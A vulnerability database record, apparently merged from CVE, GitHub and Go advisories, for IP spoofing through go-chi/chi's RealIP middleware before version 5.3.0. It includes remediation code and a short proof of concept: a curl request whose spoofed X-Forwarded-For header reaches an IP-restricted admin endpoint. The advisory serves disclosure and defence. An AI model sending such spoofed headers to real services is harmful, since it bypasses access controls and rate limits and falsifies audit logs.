{"id":"CVE-2026-72816","aliases":["CVE-2026-72816","GHSA-rjr7-jggh-pgcp","GO-2026-5777"],"related":["CGA-3x7g-jp4q-h9fr"],"kind":"vulnerability","state":"published","title":"go-chi chi before 5.3.0 IP Spoofing via RealIP Middleware","summary":"go-chi/chi through 5.2.1 contains an IP spoofing vulnerability in the RealIP middleware (middleware/realip.go). The realIP() function reads client-controlled headers (True-Client-IP, X-Real-IP, and X-Forwarded-For) and overwrites r.RemoteAddr without verifying that the request originated from a trusted proxy. Attackers can supply arbitrary IP addresses in these headers to bypass IP-based access controls, evade rate limiting and geo-IP restrictions, and pollute audit logs. Fixed in 5.3.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"go-chi/chi through 5.2.1 contains an IP spoofing vulnerability in the RealIP middleware (middleware/realip.go). The realIP() function reads client-controlled headers (True-Client-IP, X-Real-IP, and X-Forwarded-For) and overwrites r.RemoteAddr without verifying that the request originated from a trusted proxy. Attackers can supply arbitrary IP addresses in these headers to bypass IP-based access controls, evade rate limiting and geo-IP restrictions, and pollute audit logs. Fixed in 5.3.0.","source":"cvelist"},{"lang":"en","text":"### Summary\nrealip middleware in go-chi/chi trusts headers like x-forwarded-for without checking them, so attackers can fake their ip and bypass rate limits or access controls\n\n### Details\n\nthe vuln is in middleware/realip.go , the realIP() function pulls IPs straight from client headers and replaces r.RemoteAddr without checking if the request came from a trusted proxy\n\n```go\nfunc realIP(r *http.Request) string {\n    var ip string\n    if tcip := r.Header.Get(trueClientIP); tcip != \"\" {\n        ip = tcip  // controlled by attacker\n    } else if xrip := r.Header.Get(xRealIP); xrip != \"\" {\n        ip = xrip  // controlled by attacker\n    } else if xff := r.Header.Get(xForwardedFor); xff != \"\" {\n        ip, _, _ = strings.Cut(xff, \",\")  // controlled by attacker\n    }\n    // ...\n    return ip\n}\n```\n\nno trusted proxy cidr check in place, any client can send these headers\n\n### PoC\n\ncreate a server with chi and use realip middleware\n\n```go\npackage main\n\nimport (\n    \"fmt\"\n    \"net/http\"\n    \"github.com/go-chi/chi/v5\"\n    \"github.com/go-chi/chi/v5/middleware\"\n)\n\nfunc main() {\n    r := chi.NewRouter()\n    r.Use(middleware.RealIP)\n\n    r.Get(\"/admin\", func(w http.ResponseWriter, r *http.Request) {\n        // ip-based access control got bypassed\n        if r.RemoteAddr == \"127.0.0.1\" {\n            w.Write([]byte(\"SECRET ADMIN DATA\"))\n            return\n        }\n        http.Error(w, \"Forbidden\", 403)\n    })\n\n    http.ListenAndServe(\":8080\", r)\n}\n```\n\nspoofed the ip to bypass access control\n\n```bash\ncurl -H \"X-Forwarded-For: 127.0.0.1\" http://localhost:8080/admin\n```\n\n\n### Impact\n\n- ip-based access control bypass lets attackers reach restricted endpoints\n- rate limiting bypass lets attackers avoid limits by rotating spoofed ips\n- audit logs show fake ips picked by attacker instead of real ones\n- attackers can get around geo ip restrictions\n\n## Remediation Recommendation\n\nvalidate proxy cidr first before trusting forwarded ip headers\n\n```go\n// add your reverse proxy ip addresses here\nvar trustedProxies = []net.IPNet{\n       {IP: net.ParseIP(\"10.0.0.0\"), Mask: net.CIDRMask(8, 32)},\n    {IP: net.ParseIP(\"172.16.0.0\"), Mask: net.CIDRMask(12, 32)},\n    {IP: net.ParseIP(\"192.168.0.0\"), Mask: net.CIDRMask(16, 32)},\n}\n\nfunc isTrustedProxy(ip net.IP) bool {\n    for _, cidr := range trustedProxies {\n        if cidr.Contains(ip) {\n            return true\n        }\n    }\n    return false\n}\n```","format":"markdown","source":"ghsa"},{"lang":"en","text":"Chi's RealIP Middleware allows IP spoofing via unvalidated X-Forwarded-For header in github.com/go-chi/chi","format":"markdown","source":"go"}],"published":"2026-06-25T18:19:15.000Z","modified":"2026-10-08T16:17:35.783Z","severity":{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","score":6.9,"rating":"MEDIUM"},"severities":[{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","score":6.9,"rating":"MEDIUM"},{"scorer":"VulnCheck","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","score":6.5,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","rating":"HIGH"}],"cwes":["CWE-290","CWE-348"],"affected":[{"ranges":[{"type":"semver","introduced":"0","fixed":"5.3.0","status":"affected"},{"type":"semver","version":"5.3.0","status":"unaffected"}],"vendor":"go-chi","product":"chi","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"1.5.5"}],"ecosystem":"Go","package":"github.com/go-chi/chi/middleware","purl":"pkg:golang/github.com/go-chi/chi/middleware","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"2.1.1"}],"ecosystem":"Go","package":"github.com/go-chi/chi/v2/middleware","purl":"pkg:golang/github.com/go-chi/chi/v2/middleware","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"3.3.5"}],"ecosystem":"Go","package":"github.com/go-chi/chi/v3/middleware","purl":"pkg:golang/github.com/go-chi/chi/v3/middleware","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"4.1.3"}],"ecosystem":"Go","package":"github.com/go-chi/chi/v4/middleware","purl":"pkg:golang/github.com/go-chi/chi/v4/middleware","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"5.3.0"}],"ecosystem":"Go","package":"github.com/go-chi/chi/v5/middleware","purl":"pkg:golang/github.com/go-chi/chi/v5/middleware","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"5.3.0"}],"ecosystem":"Go","package":"github.com/go-chi/chi/v5","purl":"pkg:golang/github.com/go-chi/chi/v5","source":"go"}],"references":[{"url":"https://github.com/go-chi/chi/security/advisories/GHSA-rjr7-jggh-pgcp","tags":["advisory","exploit","vendor-advisory","web"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://www.vulncheck.com/advisories/go-chi-chi-before-ip-spoofing-via-realip-middleware","tags":["third-party-advisory"],"sources":["cvelist","nvd"]},{"url":"https://github.com/go-chi/chi","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/go-chi/chi/releases/tag/v5.3.0","tags":["web"],"sources":["ghsa","go"]},{"url":"https://github.com/go-chi/chi/pull/967","tags":["fix"],"sources":["go"]}],"credits":["rezmoss"],"assigner":"VulnCheck","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-08-14T15:21:50.655Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-72816","url":"https://www.cve.org/CVERecord?id=CVE-2026-72816","licence":"CVE Terms of Use","modified":"2026-10-08T15:24:31.660Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-rjr7-jggh-pgcp","url":"https://github.com/advisories/GHSA-rjr7-jggh-pgcp","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:50.389Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5777","url":"https://pkg.go.dev/vuln/GO-2026-5777","licence":"CC-BY-4.0","modified":"2026-08-15T05:19:15.756Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-72816","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-72816","licence":"Public domain","modified":"2026-10-08T16:17:35.783Z"}],"updatedAt":"2026-11-25T22:59:32.902Z","epss":{"score":0.00267,"percentile":0.20165,"date":"2026-12-01T12:00:22.000Z"}}